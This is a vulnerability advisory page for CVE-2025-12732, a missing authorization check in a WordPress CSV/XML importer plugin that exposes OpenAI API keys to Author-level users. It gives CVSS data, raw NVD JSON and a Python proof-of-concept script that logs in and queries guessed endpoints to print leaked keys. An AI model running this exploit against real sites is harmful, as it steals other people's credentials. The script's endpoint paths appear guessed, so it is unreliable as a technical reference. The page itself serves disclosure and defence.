Security Vulnerability Report
中文
CVE-2025-12732 CVSS 4.3 MEDIUM

CVE-2025-12732

Published: 2025-11-12 09:15:41
Last Modified: 2026-04-15 00:35:42

Description

The WP Import – Ultimate CSV XML Importer for WordPress plugin for WordPress is vulnerable to unauthorized access of sensitive information due to a missing authorization check on the showsetting() function in all versions up to, and including, 7.33. This makes it possible for authenticated attackers, with Author-level access or higher, to extract sensitive information including OpenAI API keys configured through the plugin's admin interface.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Import – Ultimate CSV XML Importer for WordPress <= 7.33

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests from bs4 import BeautifulSoup # CVE-2025-12732 PoC - Unauthorized Sensitive Information Access # Target: WP Import - Ultimate CSV XML Importer <= 7.33 # Vulnerability: Missing authorization in showsetting() function TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_cve_2025_12732(): """ Exploit for CVE-2025-12732 This PoC demonstrates how an authenticated user with Author-level permissions can extract sensitive information (e.g., OpenAI API keys) via the vulnerable showsetting() function. """ session = requests.Session() # Step 1: Authenticate with WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerable endpoint # The showsetting() function is called via admin-ajax.php or direct path exploit_urls = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=showsetting", f"{TARGET_URL}/wp-admin/admin.php?page=wp-ultimate-csv-importer&action=showsetting" ] for url in exploit_urls: try: response = session.get(url, timeout=10) if response.status_code == 200: # Check if sensitive data is returned if 'openai' in response.text.lower() or 'api_key' in response.text.lower(): print(f"[+] Vulnerable endpoint found: {url}") print(f"[+] Extracted sensitive data:\n{response.text}") return response.text except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] Exploitation failed or target not vulnerable") return None if __name__ == "__main__": exploit_cve_2025_12732()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12732", "sourceIdentifier": "[email protected]", "published": "2025-11-12T09:15:40.573", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Import – Ultimate CSV XML Importer for WordPress plugin for WordPress is vulnerable to unauthorized access of sensitive information due to a missing authorization check on the showsetting() function in all versions up to, and including, 7.33. This makes it possible for authenticated attackers, with Author-level access or higher, to extract sensitive information including OpenAI API keys configured through the plugin's admin interface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-ultimate-csv-importer/trunk/controllers/SendPassword.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ultimate-csv-importer/trunk/controllers/SendPassword.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3390161/wp-ultimate-csv-importer/trunk/controllers/SendPassword.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/25687ee6-a899-4089-966b-69578afd3fb6?source=cve", "source": "[email protected]"}]}}